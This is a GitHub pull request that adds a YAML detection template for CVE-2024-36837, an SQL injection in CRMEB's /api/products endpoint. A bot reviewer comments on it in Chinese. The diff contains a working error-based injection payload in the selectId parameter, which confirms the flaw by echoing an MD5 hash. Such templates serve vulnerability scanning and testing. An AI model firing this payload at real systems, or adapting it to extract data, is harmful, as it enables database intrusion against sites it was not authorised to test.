Skip to content

add CRMEB /api/products SQL(CVE-2024-36837) #1843

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open

add CRMEB /api/products SQL(CVE-2024-36837) #1843

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
2fdf011
add cve-2024-36837.yaml
WingBy-Fkalis Dec 23, 2024
802170d
Rename cve-2024-36837.yaml to cve-2024-36837.yml
WingBy-Fkalis Dec 23, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions pocs/cve-2024-36837.yml
View file
Open in desktop
Copy link

@MonkeyCode-AI MonkeyCode-AI Sep 17, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request 概述\n\n该 PR 添加了一个用于检测 CRMEB /api/products SQL 注入漏洞（CVE-2024-36837）的 POC 文件。该漏洞允许攻击者通过构造恶意的请求参数执行任意 SQL 命令，可能获取、修改或删除数据库中的敏感信息。\n\n## 文件变更说明\n\n- pocs/cve-2024-36837.yml：新增了用于检测 CVE-2024-36837 漏洞的 YAML 配置文件。该文件定义了一个 HTTP 请求规则，通过发送包含特定 SQL 注入载荷的 GET 请求来检测目标系统是否存在漏洞。规则检查响应中是否包含特定的 MD5 哈希值（4297f44b13955235245b2497399d7a93），以此判断漏洞是否存在。\n\n该变更符合项目贡献指南中关于新增 POC 的要求。

Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
name: poc-yaml-cve-2024-36837
transport: http
rules:
r0:
request:
method: GET
path: >-
/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(123123)))),0x7e),3550)
follow_redirects: false
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
expression: >-
response.status == 200 &&
Comment on lines +14 to +15
Copy link

@MonkeyCode-AI MonkeyCode-AI Sep 17, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

建议在 expression 中增加更严格的匹配条件，例如检查响应头或响应时间，以减少误报的可能性。当前仅检查响应体中是否包含特定字符串可能不够充分。

response.body_string.contains("4297f44b13955235245b2497399d7a93")
expression: r0()
detail:
author: fkalis
links:
- >-
https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/CVE-2024-36837%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.md